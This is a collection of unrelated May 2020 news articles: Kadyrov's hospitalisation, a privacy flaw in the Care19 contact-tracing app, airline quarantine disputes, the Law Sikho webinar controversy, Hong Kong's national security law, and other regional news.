Interfax and RIA-Novosti cited unnamed medical officials on May 21 as saying that Kadyrov, 43, had been flown to a Moscow facility and was under medical supervision.



The Telegram channel Baza reported that Kadyrov was taken by plane to "one of the best clinics in Moscow" on May 21, after he showed symptoms of an acute respiratory viral infection.



Earlier, the head of Grozny TV, which is controlled by Chechen regional authorities, insisted that Kadyrov was still in control, though he did not explicitly deny the reports on the Chechen leader's hospitalization.



Kadyrov "is personally in control of the situation, he is taking all necessary measures. The work of his headquarters is under his personal control," Akhmed Dudayev said in a video posted to his Instagram account.

'A Hostage Of His Image'



Kadyrov has sought to project an air of authority amid the coronavirus pandemic. As of May 21, Chechnya had officially reported 1,046 confirmed cases, and 11 fatalities from the disease.



Recently, he lashed out at complaints that regional medical workers lacked masks and other proper equipment to protect them against infection.

Grigory Shvedov, editor of the news site Caucasian Knot, said medical workers, who are normally fearful of the authoritarian Kadyrov, have grown more fearful of the coronavirus, and were speaking out more frequently.



Shvedov explained that the silence surrounding Kadyrov's condition was due in large part to the fact that falling ill would undermine the strongman image he has projected.



"Ramzan Kadyrov is a hostage of his image, that he is strong, he can do anything, that there are no problems. Therefore, even if he is sick -- God grant him health -- if he is sick, he does not talk about it," he told Current Time.

Ramadan Concerns



The reports about Kadyrov come as authorities in Chechnya and neighboring Daghestan ratchet up restrictions to deter people from gathering in groups this weekend to celebrate the end of the Muslim month of Ramadan.



Chechen Interior Minister Ruslan Alkhanov said that all movements, except for emergency services, would be banned for three days beginning May 23.



In Daghestan, authorities announced a lockdown on two major cities; officials in the regional capital, Makhachkala, had not yet taken similar measures.

Russia has the second-highest total of reported COVID-19 cases, after the United States.



The Russian case tally rose to 326,448 on May 22, while the death toll climbed to 3,249.



Russian officials have been accused of lowering its coronavirus mortality rates by ascribing deaths to pneumonia.



Aside from Mishustin and Peskov, Culture Minister Olga Lyubimova, and Construction Minister Vladimir Yakushev have also tested positive for the disease.



Peskov, as of May 21, remained hospitalized.
As governments build coronavirus-tracking smartphone tech, who is making sure their apps live up to privacy promises?

A new analysis of one of the first US contact-tracing apps, North and South Dakota's Care19, found that it violates its own privacy policy by sharing location and other personal data with an outside company. The review was published on Thursday by privacy-software maker Jumbo.

The analysis suggests that state officials and Apple, both of which were responsible for vetting the app before it became available on 7 April, were asleep at the wheel. Americans are especially wary of location and health data, and privacy violations of any degree will hamper efforts to use smartphones both to trace contact and to provide exposure notifications.

The states turned to North Dakota app maker ProudCrowd to make Care19. ProudCrowd, which did not charge the states for the app development, confirmed that some data from its iPhone app goes to Foursquare, a prominent location-data provider for marketers - but says it is not used for commercial purposes (the Google Android version of Care19 uses Foursquare in a way that obscures the data, ProudCrowd said). Still, ProudCrowd says it plans to change Care19's privacy policy and will share less data in the future.

Should this have been vetted? Yes. We are following up on that as we speak, said Vern Dosch, North Dakota's contact-tracing facilitator. We know that people are very sensitive. Health officials in South Dakota did not immediately reply to requests for comment.

Inside US hospital: A day fighting the coronavirus Show all 13 1 /13 Inside US hospital: A day fighting the coronavirus Inside US hospital: A day fighting the coronavirus Cheryll Mack, 46, a registered nurse in the emergency department, poses for a photograph after a 12-hour shift outside the hospital where she works. "The Covid-19 spread has affected a lot of livelihood, a lot of people's lives. It has created a crisis, death in general. So I would like to ask not one single person, but all people worldwide, to converge and join the platform that this is something that nobody can fight individually," said Mack. Reuters Inside US hospital: A day fighting the coronavirus Dr Laura Bontempo, 50, an emergency medicine doctor wears her personal protective equipment she uses when she sees patients, while posing for a photograph after a nine-hour shift, outside the hospital. "The hardest moments have actually been separating families from patients, there is a no-visitor policy now and taking people away from their loved ones is very challenging," Bontempo said. "I'm used to treating sick patients. I treat sick patients all the time. It's very different knowing that the patient you are treating, is actually a risk to you as well. That's the main difference here. No one who works in hospitals is afraid of treating sick people. Just want to keep staff safe and the patients safe at the same time." Reuters Inside US hospital: A day fighting the coronavirus Ernest Capadngan, 29, a registered nurse who works at a biocontainment unit poses for a photograph after a 12-hour shift, outside the hospital. "The hardest moment during the shift was just seeing Covid patients die helpless and without their family members beside them," Capadngan said. Reuters Inside US hospital: A day fighting the coronavirus Martine Bell, 41, a nurse practitioner in an emergency department, poses for a photograph after a six-hour shift outside the hospital where she works. "The hardest thing in all of this, has been taking care of fellow healthcare providers. It really hits home and it's really scary when you see someone that could be you coming in and now you're taking care of them. It's also hitting home that once healthcare providers start getting sick, who is going to be taking care of the public," Bell said. "It's very stressful, everyone is on edge. We don't know who's coming in next, or how sick they're going to be, or if we are going to get a whole bunch of people or if we're not going to get no one. It's a really stressful and just a completely unusual time for all of us." Reuters Inside US hospital: A day fighting the coronavirus Kaitlyn Martiniano, 25, a registered nurse who works at a biocontainment poses for a photograph after a 12.5-hour shift, outside the hospital. "We have a lot of patients and they are pretty sick right now but we have not yet been hit as hard as New York or Seattle, so I feel like we are very lucky with that so far. Every day you have to just be optimistic." Said Martiniano. "I think the reason that we are not being hit as hard right now is because so many things are closed, and because so many people are staying at home." Reuters Inside US hospital: A day fighting the coronavirus Tracey Wilson, 53, a nurse practitioner in an intensive care unit (ICU), poses for a photograph after a 12-hour shift, outside the hospital where she works. "I had a patient fall out of bed today and I had to call his wife and tell her and she couldn't come see him, even though she pleaded and begged to come see him," Wilson said. "There is a lot of unknowns and with that unknown is a lot of anxiety and stress that we're not used to dealing with." Reuters Inside US hospital: A day fighting the coronavirus Meghan Sheehan, 27, a nurse practitioner in an emergency department, poses for a photograph after a 12-hour shift, outside the hospital where she works. "I think the hardest moment has been the fear that lives within all of us. There is a lot of unknown right now. We fear what's going to happen tomorrow, how the emergency department will look next week when we come in. We have fears about our own colleagues, whether they will fall ill. We also fear that we could be asymptomatic carriers and bring this virus home to our families and our loved ones. There has been a lot of fear over our supplies and whether we'll run out. And then obviously there is the fear that we will see patients and not be able to do everything we normally can to help save patients' lives," Sheehan said. Reuters Inside US hospital: A day fighting the coronavirus Kimberly Bowers, 44, a nurse practitioner in an ICU, poses for a photograph after a 13-hour shift, outside the hospital. "The hardest moment was a young woman who died and her family wasn't able to be here with her," Bowers said. "I think right now, it's just frustrating and scary just not knowing what comes next." Reuters Inside US hospital: A day fighting the coronavirus Tiffany Fare, 25, a registered nurse who works at a biocontainment unit poses for a photograph after a 13-hour shift, outside the hospital where she works. "One of the hardest moments was having to see a family member of a Covid patient, say goodbye over an iPad, rooms away. That was a tough one, I can't imagine how hard it would be to be saying goodbye, you can't see your loved one and then they're gone," Fare said. "My team has been really great to me. We've worked really well together and we've really come together in this crisis. We don't really know each other, we all come from different units within the same hospital, so for us to come together and work so well as a team, it's been a journey but I think that's what is giving me hope." Reuters Inside US hospital: A day fighting the coronavirus Dr Kyle Fischer, 35, an emergency medicine doctor, poses for a photograph after a 12-hour shift, outside the hospital where he works. "Since it's a new virus, we don't have any experience with it. For most diseases I am used to seeing it and taking care of it and this, I don't have any starting place. I know what I'm hearing from New York, I've read all of the papers it seems like, but no one knows what the correct answers are, so there's a huge amount of uncertainty and people are really, really sick. So it's hard to second guess whether or not you are doing the right thing when you think you are but you never quite know," said Fischer. Reuters Inside US hospital: A day fighting the coronavirus Julia Trainor, 23, a registered nurse at a surgical ICU, poses for a photograph after a 14-hour shift, outside the hospital. "The hardest moment was having to put a breathing tube in my patient who could no longer breathe for herself and after the breathing tube went in, we called her family and the husband, of course, couldn't visit her because of visitor restrictions at the hospital. So I had to put him on the phone and hold the phone to her ear, as he told her that he loved her so much and then I had to wipe away her tears as she was crying," said Trainor. "I'm used to seeing very sick patients and I'm used to patients dying but nothing quite like this. In the flip of a switch, without the support, they're completely isolated. They're very sick. Some of them recover and some of them don't. But the hardest part, I would think, is them having to go through this feeling like they are alone." Reuters Inside US hospital: A day fighting the coronavirus Lisa Mehring, 45, a registered nurse who works in a biocontainment unit with Covid-19 patients, poses for a photograph after a 12.5-hour shift, outside the hospital where she works in Maryland. "Seeing these new moms have babies has been the hardest moment along with having do their pumping for the new moms and them not being able to be with their newborn children, it's hard to think of the family that they are missing," Mehring said. Photos Reuters Inside US hospital: A day fighting the coronavirus Jacqueline Hamil, 30, a registered nurse in an emergency department, poses for a photograph after a 12-hour shift outside the hospital. "The hardest moment of my shift today, I was in charge, and we had a really sick patient that was in a really, really small room and usually, when we have sick crashing patients, we can have a ton of resources and a ton of staff go in and help with the nurse and the doctors that are taking care of that patient. But due to the patient being ruled out for the coronavirus, we could only have five or six people in the room at a time and putting on all the gowns and gloves and masks and face shields to protect us in case the patient does have coronavirus, it takes a while, so the nurse that was in there, ended up being in the room for you know 6, 7 hours with minimal breaks and it was hard being in charge and knowing that she was stuck in the room and really nothing I could do to help her," Hamil said. Reuters

Apple said it was investigating the report, and if it finds that an app is out of compliance it works with the developer to get it into compliance.

Foursquare does not use the data in any way, and it is promptly discarded, said spokesperson Jennifer Yu.

Health authorities are moving fast to build coronavirus apps, often with limited technical resources. They are relying on commercial tracking companies and murky privacy protections - and under those conditions, it is not clear whether consumers should trust them.

The Care19 app is upfront that its main purpose is to voluntarily collect location data, which differs from a new set of apps that use Bluetooth technology from Apple and Google to provide anonymous exposure alerts without collecting location data. Care19 calls itself a digital diary to help people remember where they have been over the previous 14 days so that they can retrace their steps and the people they have been in contact with, should they contract the coronavirus.

If users do test positive, the app lets them volunteer to share their location data with the state's health department to assist in its efforts to slow the spread of the virus.

But Care19's privacy policy says the location data is private to you and is stored securely on servers belonging to ProudCrowd. Location will not be shared with anyone including government entities or third parties, it says.

That is where the privacy review by Jumbo finds the app falling short. Tracing the flow of data from the app, it found Care19 sends data to Foursquare, including a user's location, their advertising identifier (a unique code representing a specific phone) and the unique citizen code generated by the app.

Care19's maker, Tim Brookins of ProudCrowd, told The Washington Post that the app uses a Foursquare service called Pilgrim SDK to convert the location data it collects as latitude and longitude into the names of recognisable places.

The Care19 application user interface clearly calls out the usage of Foursquare on our 'Nearby Places' screen, per the terms of our Foursquare agreement, Mr Brookins wrote in an email. We will be working with our state partners to be more explicit in our privacy policy. (He also said it would clarify privacy policy language about how it shares data to conduct diagnostics.)

Mr Brookins said his app would stop sharing the users' code with Foursquare. It is important to note that our agreement with Foursquare does not allow them to collect Care19 data or use it in any form, beyond simply determining nearby businesses and returning that to us, he said.

Foursquare does not financially benefit from free users like Care19, said Ms Yu, the spokesperson. Essentially, any data we might receive is immediately discarded.

Foursquare does have a significant business in marketing tech. Other apps use Pilgrim SDK to help send targeted notifications and put users into marketing audience segments, such as fitness fanatic and beauty enthusiast, based on where they go.

Pierre Valade, chief-executive of Jumbo, said Apple and Google have more-explicit rules for the new category of virus-tracking apps that use special access to a phone's Bluetooth signals to help anonymously notify people that they may have been exposed to people who have Covid-19. The rules for these exposure apps say they are not allowed to collect any location data or the user's advertising identifier.

Mr Brookins says he's making a second version of the Care19 app that will do exposure notification and comply with Apple and Google's rules.

The Care19 oversight exposes a common privacy hole in apps: They contain code from hidden third-party tracking companies.

A study of the data flowing out of a iPhone encountered more than 5,400 trackers in a week. Some of them were gathering personal information while the user was asleep and the phone's screen was turned off.

Third-party software makes it easier for app companies to code quickly. But it also often feeds the personal data economy, used to target us for marketing and political messaging.

As governments develop these apps, they are going to need the resources to develop their own technology that doesn't rely on commercial surveillance companies - or more help from Apple and Google.

Last week, a group of Democrats in the House and Senate introduced the Public Health Emergency Privacy Act, which includes new provisions for enforcing the use of citizen data in apps to fight the coronavirus.

Senator Maria Cantwell of Washington state, the top Democrat on a key tech-focused committee, said apps need strong privacy protections in the fight against the coronavirus. If it doesn't have a strong privacy framework, it will undermine consumer confidence, she said.

The Washington Post
STATEN ISLAND, N.Y. -- A bicycle rider in his 60s is in critical condition following a collision with a pickup truck in Bulls Head Friday morning, officials said.

The crash was reported about 8:21 a.m. at the intersection of Arlene Street and Signs Road, according to an NYPD spokesman.

The man was transported Richmond University Medical Center in West Brighton, the police spokesman said.

The NYPD roped off Signs Road and Arlene Street, where a bicycle and pair of shoes were seen lying on the pavement in the cordoned off area. A pickup truck for a landscaping company also was cordoned off by police.

The NYPDs Collision Investigation Squad is investigating the crash.

Very preliminary information indicates that the pickup truck was making a left turn from Signs Road onto Arlene Street when the crash occurred, the police spokesman said.

It is a very, very dangerous intersection, said Niki, who lives in the neighborhood and declined to have her last name published. They really need to put a traffic light here.

She noted that children are among the bicyclists who use the New Springville Greenway paved recreational path and then cross the street at that intersection.

Every day from my window, I see people go through this intersection, Niki said, adding,  I see accidents on this corner all the time.

Further information about Fridays crash will be posted as it becomes available.
A Virgin Atlantic flight as the UK government prepares to order international arrivals to quarantine for 14 days, enraging airlines. (AP Photo/Ted S. Warren)

Virgin Atlantic has delayed resuming flights until at least August this year ahead of Fridays government announcement that it plans to enforce people to self-isolate for two weeks when they touchdown on British soil.

Arrivals, including Brits returning from abroad, are likely to have to self-isolate for 14 days under the proposed new measures, telling authorities where they will stay.

Home secretary Priti Patel will announce fresh details of the plans at the governments daily coronavirus briefing from Downing Street on Friday. The proposals are reported to include spot checks and 1,000 fines for failure to comply.

Similar measures have already been announced by other countries including the US, Spain and New Zealand to stop the spread of new cases of COVID-19.

READ MORE: Virgin Atlantic announces 3,000 job cuts over COVID-19

But the plans have sparked a fierce backlash from the airline industry, with Virgin Atlantic the latest to sound the alarm on Friday.

Airlines fear the measures will exacerbate passengers reluctance to travel even as lockdowns ease, which has already sparked warnings recovery will take years and triggered significant job cuts.

The safety and security of our people and our customers is always our top priority and public health must come first. However, by introducing a mandatory 14-day self-isolation for every single traveller entering the UK, the Governments approach will prevent flights from resuming, said a spokesperson for Virgin Atlantic, founded by tycoon Richard Branson.

We are continually reviewing our flying programme and with these restrictions, there simply wont be sufficient demand to resume passenger services before August at the earliest.

The spokesperson called instead for carefully targeted public health and screening measures, allowing a safe restart of air travel for passengers and firms.

READ MORE: EasyJet to resume flights from 15 June

Ryanairs (RYA.L) outspoken chief executive Michael OLeary has already called the plans unenforceable and unpoliceable, warning they would be widely ignored.

Story continues

Virgin Atlantic announced earlier this month it would slash 3,000 jobs, predicting recovery would take years and failing to convince the UK government to grant a bailout.

It came after recent announcements by Ryanair and IAG-owned (IAG.L) British Airways of similar drastic cost-cutting measures including thousands of redundancies.

But several airlines have begun setting out plans for a gradual resumption of some flights in recent weeks. EasyJet (EZJ.L) announced on Thursday that it will resume flights from a number of UK airports from 15 June, though almost all are on domestic routes.

Watch the latest videos from Yahoo Finance UK
National Director of World Vision Ghana (WVG), Dickens Thunde has appealed to the government of Ghana, through the Ministry of Health and the Ghana Health Service (GHS) to grant them tax exemption on Gift  in  Kind Items they receive from their donors in complimenting governments efforts of providing quality healthcare in the country.

He made this known in a speech delivered on his behalf by Joshua Baidoo, South Operations Manager, WVG during a presentation of Personal Protective Equipment (PPE) in their efforts in fighting the COVID  19 pandemic to the KIA Green Light Health Centre (under the Eastern Regional Health Directorate and Fanteakwa South District) on May 21, 2020 at Saamang.

Mr. Thunde indicated that should the government grant them their request, they believe it will motivate their partners and donors overseas to commit more resources in bringing related and needy items such as the ones donated to the KIA Green Light Health Centre.

He added that although they recognize the efforts of government through the Health Ministry and GHS in combating the pandemic, we all should be concerned about the increasing cases of infections.

World Vision Ghana and Donor: KIA Motors are concerned about the impact that the COVID  19 health crisis will have on the poorest and most vulnerable, and the risks it poses to already stretched basic social services and pre-existing high levels of food insecurity and malnutrition among others.

He gave an assurance that through their donors, including KIA Motors, they will continue to support governments efforts at not only fighting the pandemic but making access to improved and affordable health services to community members, especially children who are the most vulnerable.

The items donated by WVG through their donor, KIA Motors valued at GH134,000.00 to the health facility include Mask, high  fil., FFP2/N- 95, no  valve, non-sterile/ Surgical face mask, Coverall, protection, Face Shield, Carbonic soap, Gloves, Hand sanitizer Thermometer guns, among others.

Peter Boabeng, Deputy Director, Administration, Regional Health Directorate in his words said they are grateful to WVG with the support of KIA Motors for the donation which will help to improve on their service delivery and also appealed to other organizations to come to their aid by donating more PPE to them to help in the fight against the pandemic.

The District Chief Executive (DCE) for Fanteakwa South District, Adjabeng Kwesi Ntori emphasized on the need to wear nose masks every time and adhering to the hygiene protocols in order to prevent the disease.

The Assembly Member for Saamang Electoral Area, Gyeatuo Kyenkyenku noted that as health workers and health facilities attendants need protection in the wake of the pandemic, the items donated in a long way are going to help in the prevention of the pandemic.

The Queen Mother, Nana Boahemaa expressed her words of appreciation to WVG and KIA Motors for their kind gesture to the community which will help in the battle against COVID  19.

Seth Glefoti, Principal Physician Assistant in charge of the health facility who pledged that they are going to put the items to good use maintained that they have arrived at the right time as the facility is battling with PPE to protect staff and clients from contracting the COVID  19 disease.

The KIA Green Light is a 5 year project which started in 2018 and ending in 2023. It is located at Osino Sub-district of Fanteakwa South District with a total budget of about USD884, 000 and the funding agency is KIA Motors, Korea.

The project which is being implemented in partnership with KIA Motors, Korea and World Vision (Korea/Ghana) has the goal of contributing to the reduction of maternal and child mortalities and morbidities in the district.

It was commissioned on 6th November, 2019 and handed over to the GHS and started operations the day after.
Law Sikho, a portal that claims to be the world's most advanced practical legal training tool, held a webinar only for men on 15 May titled How can busy professionals have a dating life. The webinar, criticised for objectifying women and normalising harassment, is a reminder of the sexism that is rampant in the legal industry

Ramanauj Mukherjee, CEO of Law Sikho: You have come here to tell us what is sexist about this webinar.

Avanti Balachander, fourth-year law student: The fact that you are not letting me finish even one sentence is borderline sexist.

Ramanauj: Is that the only thing? Thank you Avanti, you had nothing to say about our content.

Avanti: Have you asked any women in your life how they think men should talk to women?

Ramanauj: We consented for a question, not a speech.

Law Sikho, a portal that claims to be the world's most advanced practical legal training tool, held a webinar only for men on 15 May titled How can busy professionals have a dating life.

National University of Juridical Sciences (NUJS) Kolkata alumnus Ramanauj Mukherjee held this webinar with Kshitij Sehrawat, a self-styled love guru who runs the portal Iron Man Lifestyle. Through the webinar, Kshitij continued to attribute his expertise to field experience with women. He also put out a video on Instagram about how men looking for dates should see themselves as car buyers and aspire to buy a Mercedes or BMW, and not "settle" for a Maruti.

A sizable chunk of the 90-minute-long webinar saw Kshitij, whose branding includes the claim that he has spoken to thousands of girls, using the bread analogy to press upon the need to meet a woman from a dating app within four days, else the bread expires. He went on to explain that men tend to send nude pictures to women because we are visual and that good grades are not necessary to impress women, as the most popular men are those who are into sport.

Avanti, who is currently studying law at the OP Jindal Law University, was appalled when Kshitij responded to a participant's question about getting rid of a porn addiction with the suggestion that he should do a Vipassana course. Having posted many comments while the webinar was live and calling out the blatantly sexist content of the session, she chose to speak up when Ramanauj asked for questions and opinions. She was cut off constantly and shouted at by an evidently agitated Ramanauj, who said, Ill take care of her.

Meanwhile, when Avanti asked if both the men leading the webinar had talked to the women in their lives about how men should talk to women, Kshitij replied in the affirmative. Ive talked to a lot of women. My sample size may be small, but it is bigger than yours, he added.

so @LawSikho hosted a webinar for men only on how to impress women, & when a woman tried to tell them that the things they are saying arent correct, they attacked her, mr. ramanuj said Ill take care of her & basically told her to fuck off cause she gave her opinion. pic.twitter.com/8T5Y2PPpxz  a (@jjkbridge) May 15, 2020

Members of the legal community raised their voices against the moderator and guests behaviour towards Avanti, as well as the webinars content itself. Supreme Court lawyer Karuna Nandy said the law students bullying was unacceptable. She further dismissed Kshitijs message that women are flooded with date requests. Almost all women get harassed, those aren't date requests, she wrote on Twitter.

The chorus demanding an apology to Avanti and to women, in general, grew. Lawyers said that the highly inappropriate content reveals how the most vicious sexism comes from quarters of privilege and literacy.

Avanti later received an apology email from Law Sikho co-founder Abhyuday Agarwal. The email stated that "The company has the duty to be more responsible towards its audience and choose carefully the people it hosts on its platforms, Avanti said. An initial statement posted by Law Sikho, which was criticised as being gaslighting, was later deleted.

Soon after, the webinar video was taken down, while the issue gained momentum on social media. Two days later, Law Sikho issued a second statement and Ramanauj posted an apology. The statement read, We, as a company, were wrong to condone and host a webinar that spread such a problematic culture. We are reflecting as a team, on good strong policies to ensure this never happens again. We apologise for all the harm that was generated due to this webinar. We specifically apologise to Avanti for her voice being suppressed.

This is in context of our webinar conducted on May 15, 2020 on How can busy professionals have a dating life#LawSikho #TeamAvanti pic.twitter.com/ANhYuPOpPO  LawSikho (@LawSikho) May 16, 2020

The Law Sikho founder apologised to Avanti for his behaviour on Facebook, blaming his outburst on being targeted viciously through personal messages as well as the public chat with taunts like Ramanauj do you beat your wife, why are you such an incel and you should just die. It wasn't, however, an unequivocal apology.

He continued to claim that the law student was already triggered when she came on the call. This assumption, Avanti said, takes away from the fact that women are often suppressed. It was the content that ticked me off. They made it seem like cutting women off is a one-off thing, she told Firstpost.

Ramanauj also distanced himself from the decision to call Kshitij for the webinar. I had relied on a couple of colleagues' recommendations here. My job was to just hold the webinar. I do not really vet people before calling them, he said in a Facebook post.

In another post, he wrote, "I was sexist. I may not be as sexist as someone else, but I was not even recognizing misogyny where it stared at me in my face.

However, he maintained that he was not convinced that the webinar was a bad idea or that it was toxic or sexist, adding that it was bad content, but not a big deal.

Many people, including women, stood in support of Ramanauj, praising him for being "brave" and for presenting a fine example of owning ones own garbage. However, others chose to dissociate from the firm. Leading lawyer Ameet Dutta asked Law Sikho to remove his name from their website, ending his association with the firm as nothing justifies this sort of conduct". Lawctopus, a website for law students, announced that it will stop LawSikho/iPleaders ads on its website till an unconditional apology is issued. It also demanded that Ramanauj steps down from leadership roles.

Padmini Baruah, an alumna of National Law School, resigned from Law Sikho because working in a sexist culture violates everything I stand for, she said. She joined Law Sikho to lead Project Maverick, where she had relative autonomy to take decisions on content, webinars and the kind of direction the project. She wrote on Twitter that she tried to point out the various issues during a group call, and a week later, she ended her association with the firm.

She said she was appalled that a website that reaches out to young people did not do due diligence before inviting a person who projected a harassment-oriented and misogynistic approach towards women. Stressing that the webinar was symptomatic of a very large cultural problem, she said that there is a clear need for internal sensitisation at Law Sikho. This entire culture of objectifying women is rampant, as seen both here and in the 'bois locker room case', she told Firstpost.

Padmini also apologised for not being publicly outspoken since the beginning. While calling it unpardonable, she took responsibility for the deleted initial statement put out by Law Sikho; she added that this statement contained excerpts from a previous "excessively toxic" statement she had edited, even though she had not yet seen the video.

Shreya Munoth, an advocate whose work focuses on gender-based complaints and crimes, said the incidents involving Law Sikho and 'bois locker room' differ in scale but bring to the fore similar issues. They are symptomatic of the same underlying problem, which is the lack of gender sensitisation and consent education, the Delhi-based lawyer said.

Declining to comment on the criticism which pointed out similarities between 'bois locker room' and Law Sikho's webinar, Ramanauj said, The intent was to teach men concepts like consent, empathy and non-objectification, but the failure lay in not taking help from the right experts.

Munoth said that apart from Law Sikhos recklessness in not vetting the speaker, the problem also lay in Ramanaujs shoddy moderation of a speaker peddling the narrative that women are achievable". She said that the portal needs to be held accountable for its choice of speaker and webinar topic. What is the cultural introspection, reflection and future action and deliberation that Law Sikho has in mind? she asked.

Not naming the person held responsible for inviting Kshitij for the session, Ramanauj said they have been removed from webinar-related work and theyre seeking legal advice on how to proceed. The organisation now has a process for vetting the guest speakers they call to the platform, he told Firstpost a week after the webinar.

We have invited organisations and experts working in gender justice to come on board and work with our platform to sensitise our audience about this so that the damage can be undone, he added and also mentioned in a post on social media. Padmini had suggested organising a counter-webinar to take opinions and questions and discuss what went wrong with the previous one, but Ramanauj said such a webinar was not held to avoid hasty decisions. A week later, neither the counter-webinar nor webinars on gender sensitisation have been held.

***

This incident is a reminder of the rampant sexism in the legal industry. The toxic masculinity in the profession came to the fore with the recent sexual harassment complaint against former Chief Justice of India Ranjan Gogoi, which led to the female complainant losing her job and a false case of bribery being filed against her.

In June 2019, the first female president of the Uttar Pradesh Bar Council, Darvesh Yadav, was shot dead by another lawyer inside the premises of Agras Diwani Kachahri, where her felicitation ceremony was to be held, following her election.

In the case of a sexual harassment complaint filed by a law intern against former Supreme Court Justice Swatanter Kumar in 2014, the Delhi High Court passed an order barring the media from reporting on the matter.

Shreya, who has seven years of experience as a lawyer, says that the profession is fraught with sexism; the highest court in the country has had only eight or nine women judges in its history. It is evident in the difference of the behaviour of judges towards male and female counsels, the dismal facilities for women at court complexes and even the hiring and sexual harassment policies at law firms. Some senior lawyers are known to be predatory, treating women disrespectfully and acting with impunity only because of power and clout they enjoy, she said.

After sexual harassment cases were filed against two judges, Shreya claims that many senior lawyers stopped hiring women. Sexual harassment policies are unheard of in litigation chambers. I know of very few lawyers who ensure an environment of gender equality in chambers, but they are not nearly enough, she said.

The Sexual Harassment of Women at Workplace (Prevention, Prohibition and Redressal) Act, 2013 (POSH) mandates that any workplace with ten or more employees must have an Internal Complaints Committee. But the guidelines prescribed under this act need to be followed with diligence, to ensure safe spaces for young lawyers.

The inclusion of gender sensitisation courses was recommended to law colleges, but Avantis college only started one in 2017. She laments the normalisation of sexism, adding that Ramanauj and Kshitij's behaviour towards her was met with so much outrage because countless women are subjected to similar behaviour. The only difference is that this time it got caught on camera and was seen by hundreds of people," she said.
Bhubaneswar, May 22 : Odisha Chief Minister Naveen Patnaik on Friday assured all possible assistance to West Bengal, which has been ravaged by cyclone Amphan.

Patnaik spoke to West Bengal Chief Minister Mamata Banerjee over the telephone on Friday morning.

He assured all possible support to West Bengal in terms of men and material to overcome this critical situation.

During the discussion, Patnaik enquired about the intensity of the damage caused due to cyclone Amphan.

The Chief Minister conveyed Odisha's absolute solidarity with the people of West Bengal in this hour of crisis.

Earlier, Patnaik had directed the chief secretary to remain in touch with his West Bengal counterpart and ensure all possible assistance.

Notably, cyclone Amphan that crossed through the West Bengal and Odisha coast on Wednesday caused minimum damage to the coastal areas of Odisha while it wreaked havoc in the neigbouring state.

-- The story has been published from a wire feed without any modifications to the text
Michael Cohen arriving back at his home after being released early from prison: (Reuters)

Michael Cohen tweeted there is so much I want to say, after being released from prison early due to coronavirus fears.

Mr Cohen, Donald Trumps former attorney, was released from the federal prison in Otisville, New York, on Thursday, and is scheduled to serve the remainder of his three-year sentence under home confinement.

He pleaded guilty in 2018 to tax evasion and campaign finance violations, including paying hush money to women who claimed to have had affairs with Mr Trump, and reported to prison on 6 May 2019.

Mr Trumps former attorney said he violated campaign finance rules under the direction of the president, for the principal purpose of influencing the 2016 presidential election. The president denies these claims.

After he returned to his residence, Mr Cohen tweeted: I am so glad to be home and back with my family. There is so much I want to say and intend to say. But now is not the right time. Soon. Thank you to all my friends and supporters.

The former attorney did not elaborate on what he meant by his tweet, but it is speculated that he will publicly talk about his time working with the president.

Earlier this month, The Daily Beast reported that while he was in prison, Mr Cohen wrote a tell-all book about working with Mr Trump.

When news broke about the book last month, actor Tom Arnold, who has stayed in contact with the ex lawyer, told the outlet: Its like Jaws  you dont see Jaws very much, but you hear the music, and for Trump he knows Michael is coming and Trump better hear the Jaws music.

He added: He told me he is going to spill the beans. What has he got to lose now?

After the report, Charles Harder, a Trump organisation lawyer, warned Mr Cohen that he could be in legal trouble if he releases the book about the president.

Mr Cohen was released from prison after multiple staff and inmates contracted coronavirus at the Otisville federal prison.

His early release was announced last month, but after he completed the mandatory 14-day quarantine period, as has become standard amid the coronavirus pandemic, the former attorney had his early release rescinded.

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The decision was reversed earlier this week, and Mr Cohen will serve the remainder of his three-year sentence from home confinement.

Read more

Trumps former lawyer writes tell-all book about president
It has been an honor and privilege to serve Prince William County, Barnard said in a statement on May 13 announcing his retirement. My family and I are grateful for the opportunities and support that Prince William County has provided to us. I want to express my sincere appreciation to the staff of the Police Department for their friendship, dedication, and outstanding service to the community. I will miss them very much.
HONG KONG  Hong Kong pro-democracy lawmakers sharply criticized Chinas move to take over long-stalled efforts to enact national security legislation in the semi-autonomous territory, saying it goes against the one country, two systems framework under which Beijing promised the city freedoms not found on the mainland.

The proposed bill, submitted Friday on the opening day of Chinas national legislative session, would forbid secessionist and subversive activity, as well as foreign interference and terrorism. It comes after months of pro-democracy demonstrations last year that at times descended into violence between police and protesters.

The bill, among the most controversial items on the agenda of the National Peoples Congress in years, drew strong rebukes from the U.S. government and rights groups. Secretary of State Mike Pompeo condemned the move, saying the decision to bypass Hong Kongs well-established legislative processes and ignore the will of the people of Hong Kong would be a death knell for the high degree of autonomy Beijing promised.

The foreign ministers of the U.K., Australia and Canada released a joint statement saying they are deeply concerned about the legislation proposed by China.

Making such a law on Hong Kongs behalf without the direct participation of its people, legislature or judiciary would clearly undermine the principle of one country, two systems under which Hong Kong is guaranteed a high degree of autonomy, they said.

A former pro-democracy lawmaker, Lee Cheuk-yan, said at a news briefing by opposition parties and activists that Chinese leader Xi Jinping has torn away the whole pretense of one country, two systems' and that Beijing is directly taking control.

Theyre trying to ban every organization in Hong Kong who dares to speak out against the Communist Party, he said, describing it as a challenge to global values such as freedom and liberty.

Office worker Tiffany Chung called it ridiculous. They promised one-country, two-systems, but the content of the security law is basically implementing one country, one system,' she said.

Beijing appears to have lost patience and is determined to assert greater control in Hong Kong and limit opposition activity following last years protests.

Wang Chen, vice chairman of the National Peoples Congress, said the protests and violence in Hong Kong had challenged the one country, two systems principle and the aim of the legislation was to stop any behavior that posed potential security threats.

Hong Kongs legal system and enforcement must be established and improved at the state level, he said.

Chinas foreign ministry said Hong Kong is Chinas internal affair and no foreign country has the right to intervene.

The Chinese government is determined in safeguarding national sovereignty, security, and development interests, following through the policy of one country, two systems, and opposing any external interference in Hong Kong affairs, ministry spokesperson Zhao Lijian said at a daily briefing.

A previous effort to pass such legislation in Hong Kongs legislature was shelved after massive street protests in 2003. This time, Beijing has decided to circumvent the territorys lawmaking body using what critics say are dubious legal grounds under the Basic Law, which has served as a sort of constitution for Hong Kong since its return to China from British colonial rule in 1997.

Hong Kong chief executive Carrie Lam said in a statement that the national security law will not affect the legitimate rights and freedoms enjoyed by Hong Kong residents under the law, or the independent judicial power, including that of final adjudication, exercised by the Judiciary in Hong Kong.

I deeply believe that the national law to be enacted by the Standing Committee of the NPC will seek to practically and effectively prevent and curb acts and activities that seriously undermine national security, as well as sanction those who undermine national security by advocating Hong Kong independence and resorting to violence, Lam said.

